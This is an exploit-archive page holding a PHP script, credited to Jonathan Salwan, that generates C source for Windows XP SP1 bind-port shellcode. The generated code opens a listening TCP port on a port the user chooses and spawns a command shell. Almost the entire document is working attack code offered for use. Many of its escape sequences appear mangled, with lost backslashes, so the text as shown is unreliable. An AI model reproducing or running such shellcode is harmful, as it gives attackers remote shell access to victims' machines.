[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : windows xp/sp1 generate portbind payload
# Published : 2009-06-09
# Author : Jonathan Salwan
# Previous Title : linux/x86 generate portbind payload
# Next Title : linux/x86 bindport 8000 & execve iptables -F 176 bytes
<?php
/*
Utility : Generate Payload PortBind Windows XP/SP1
Author : Jonathan Salwan
Mail : submit [!] shell-storm.org
More shellcodes in => http://www.shell-storm.org/shellcode/
*/
function syntax()
{
echo "nSyntax:nroot@laptop:/# php ./payload.php <port>nn";
}
function win32bind($port)
{
if($port > 65535 || $port < 4100){
echo "Erreur PortnSelect a port between 4100 and 65535n";
return false;
}
$inser .= "nchar shellcode[] = n";
$inser .= " /* BindPort TCP/$port; Os:XP/SP1; Gen:http://www.shell-storm.org */n";
$inser .= "n";
$inser .= " x22\x83\xC4\xEC\x33\xC0\x50\x50\x50\x6A\x06\x6A\x01\x6A\x02\xB8x22n";
$inser .= " x22\x01\x5A\xAB\x71\xFF\xD0\x8B\xD8\x33\xC0\x89\x45\xF4\xB0\x02x22n";
$inser .= " x22\x66\x89\x45\xF0\x66\xC7\x45\xF2";
$inser .= "\x";
$res_port = base_convert($port, 10, 16);
$length = strlen($res_port)-1;
$i = 1;
for($idx = 0; $idx < $length+1; $idx++)
{
$i++;
if($i == 4)
$inser .= "\x";
$inser .= $res_port[$idx];
}
$inser .= "\x6A\x10\x8D\x55\xF0x22n";
$inser .= " x22\x52\x53\xB8\xCE\x3E\xAB\x71\xFF\xD0\x6A\x01\x53\xB8\xE2\x5Dx22n";
$inser .= " x22\xAB\x71\xFF\xD0\x33\xC0\x50\x50\x53\xB8\x8D\x86\xAB\x71\xFFx22n";
$inser .= " x22\xD0\x8B\xD8\xBA\x1D\x20\xE8\x77\x53\x6A\xF6\xFF\xD2\x53\x6Ax22n";
$inser .= " x22\xF5\xFF\xD2\x53\x6A\xF4\xFF\xD2\xC7\x45\xFB\x41\x63\x6D\x64x22n";
$inser .= " x22\x8D\x45\xFC\x50\xB8\x44\x80\xC2\x77\xFF\xD0x22x3bnn";
$inser .= " printf(x22Length: %d\nx22,strlen(shellcode));n";
$inser .= " (*(void(*)()) shellcode)();nn";
return $inser;
}
if($argc < 2){
syntax();
return false;
}
$port = $argv[1];
echo win32bind($port);
?>
# www.Syue.com [2009-06-09]